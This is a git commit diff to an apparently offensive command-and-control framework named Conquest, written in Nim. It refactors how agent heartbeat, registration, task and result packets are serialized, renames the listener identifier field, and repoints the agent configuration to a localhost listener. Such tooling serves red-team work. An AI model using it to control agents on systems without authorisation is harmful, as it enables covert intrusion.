Changed variable names for clearer structure.

This commit is contained in:
Jakob Friedl
2025-07-22 21:31:18 +02:00
parent 725696ffa5
commit 36719dd7f0
11 changed files with 38 additions and 61 deletions

View File

@@ -34,15 +34,6 @@ proc serializeHeartbeat*(request: Heartbeat): seq[byte] =
# TODO: Encrypt check-in / heartbeat request body
# Serialize header
packer
.add(request.header.magic)
.add(request.header.version)
.add(request.header.packetType)
.add(request.header.flags)
.add(request.header.seqNr)
.add(cast[uint32](body.len))
.addData(request.header.hmac)
let header = packer.pack()
let header = packer.packHeader(request.header, uint32(body.len))
return header & body

View File

@@ -243,15 +243,6 @@ proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
# TODO: Encrypt metadata
# Serialize header
packer
.add(data.header.magic)
.add(data.header.version)
.add(data.header.packetType)
.add(data.header.flags)
.add(data.header.seqNr)
.add(cast[uint32](metadata.len))
.addData(data.header.hmac)
let header = packer.pack()
let header = packer.packHeader(data.header, uint32(metadata.len))
return header & metadata

View File

@@ -48,16 +48,7 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
# TODO: Encrypt result body
# Serialize header
packer
.add(taskResult.header.magic)
.add(taskResult.header.version)
.add(taskResult.header.packetType)
.add(taskResult.header.flags)
.add(taskResult.header.seqNr)
.add(cast[uint32](body.len))
.addData(taskResult.header.hmac)
let header = packer.pack()
let header = packer.packHeader(taskResult.header, uint32(body.len))
# TODO: Calculate and patch HMAC

View File

@@ -1,8 +1,8 @@
# Agent configuration
-d:ListenerUuid="A5466110"
-d:Octet1="172"
-d:Octet2="29"
-d:Octet3="177"
-d:Octet4="43"
-d:ListenerPort=8888
-d:ListenerUuid="B10CE89E"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=5

View File

@@ -125,4 +125,16 @@ proc getVarLengthMetadata*(unpacker: Unpacker): string =
return ""
# Read content
return unpacker.getBytes(int(length)).toString()
return unpacker.getBytes(int(length)).toString()
proc packHeader*(packer: Packer, header: Header, bodySize: uint32): seq[byte] =
packer
.add(header.magic)
.add(header.version)
.add(header.packetType)
.add(header.flags)
.add(header.seqNr)
.add(bodySize)
.addData(header.hmac)
return packer.pack()

View File

@@ -27,6 +27,7 @@ type
# Flags should be powers of 2 so they can be connected with or operators
FLAG_PLAINTEXT = 0'u16
FLAG_ENCRYPTED = 1'u16
FLAG_COMPRESSED = 2'u16
CommandType* = enum
CMD_SLEEP = 0'u16
@@ -154,7 +155,7 @@ type
HTTP = "http"
Listener* = ref object
name*: string
listenerId*: string
address*: string
port*: int
protocol*: Protocol

View File

@@ -143,7 +143,7 @@ proc agentBuild*(cq: Conquest, listener, sleep, payload: string) =
# The following shows the format of the agent configuration file that defines compile-time variables
let config = fmt"""
# Agent configuration
-d:ListenerUuid="{listener.name}"
-d:ListenerUuid="{listener.listenerId}"
-d:Octet1="{first}"
-d:Octet2="{second}"
-d:Octet3="{third}"

View File

@@ -11,11 +11,11 @@ proc delListener(cq: Conquest, listenerName: string) =
cq.listeners.del(listenerName)
proc add(cq: Conquest, listener: Listener) =
cq.listeners[listener.name] = listener
cq.listeners[listener.listenerId] = listener
proc newListener*(name: string, address: string, port: int): Listener =
proc newListener*(listenerId: string, address: string, port: int): Listener =
var listener = new Listener
listener.name = name
listener.listenerId = listenerId
listener.address = address
listener.port = port
listener.protocol = HTTP
@@ -91,7 +91,7 @@ proc restartListeners*(cq: Conquest) =
for l in listeners:
let
settings = newSettings(
appName = l.name,
appName = l.listenerId,
debug = false,
address = "",
port = Port(l.port)
@@ -107,7 +107,7 @@ proc restartListeners*(cq: Conquest) =
try:
discard listener.runAsync()
cq.add(l)
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.name} ", resetStyle, fmt"on port {$l.port}.")
cq.writeLine(fgGreen, "[+] ", resetStyle, "Restarted listener", fgGreen, fmt" {l.listenerId} ", resetStyle, fmt"on port {$l.port}.")
except CatchableError as err:
cq.writeLine(fgRed, styleBright, "[-] Failed to restart listener: ", err.msg)

View File

@@ -21,7 +21,7 @@ proc dbStoreListener*(cq: Conquest, listener: Listener): bool =
conquestDb.exec("""
INSERT INTO listeners (name, address, port, protocol)
VALUES (?, ?, ?, ?);
""", listener.name, listener.address, listener.port, $listener.protocol)
""", listener.listenerId, listener.address, listener.port, $listener.protocol)
conquestDb.close()
except:
@@ -38,10 +38,10 @@ proc dbGetAllListeners*(cq: Conquest): seq[Listener] =
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
for row in conquestDb.iterate("SELECT name, address, port, protocol FROM listeners;"):
let (name, address, port, protocol) = row.unpack((string, string, int, string))
let (listenerId, address, port, protocol) = row.unpack((string, string, int, string))
let l = Listener(
name: name,
listenerId: listenerId,
address: address,
port: port,
protocol: stringToProtocol(protocol),

View File

@@ -24,16 +24,7 @@ proc serializeTask*(task: Task): seq[byte] =
# TODO: Encrypt payload body
# Serialize header
packer
.add(task.header.magic)
.add(task.header.version)
.add(task.header.packetType)
.add(task.header.flags)
.add(task.header.seqNr)
.add(cast[uint32](payload.len))
.addData(task.header.hmac)
let header = packer.pack()
let header = packer.packHeader(task.header, uint32(payload.len))
# TODO: Calculate and patch HMAC

View File

@@ -97,7 +97,7 @@ proc writeRow(cq: Conquest, row: seq[Cell]) =
proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
# Column headers and widths
let headers = @["Name", "Address", "Port", "Protocol", "Agents"]
let headers = @["UUID", "Address", "Port", "Protocol", "Agents"]
let widths = @[8, 15, 5, 8, 6]
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))
@@ -110,10 +110,10 @@ proc drawTable*(cq: Conquest, listeners: seq[Listener]) =
for l in listeners:
# Get number of agents connected to the listener
let connectedAgents = cq.agents.values.countIt(it.listenerId == l.name)
let connectedAgents = cq.agents.values.countIt(it.listenerId == l.listenerId)
let rowCells = @[
Cell(text: l.name, fg: fgGreen),
Cell(text: l.listenerId, fg: fgGreen),
Cell(text: l.address),
Cell(text: $l.port),
Cell(text: $l.protocol),
@@ -160,7 +160,7 @@ proc timeSince*(agent: Agent, timestamp: DateTime): Cell =
proc drawTable*(cq: Conquest, agents: seq[Agent]) =
let headers: seq[string] = @["Name", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
let headers: seq[string] = @["UUID", "Address", "Username", "Hostname", "Operating System", "Process", "PID", "Activity"]
let widths = @[8, 15, 15, 15, 16, 13, 5, 8]
let headerCells = headers.mapIt(Cell(text: it, fg: fgWhite, bg: bgDefault))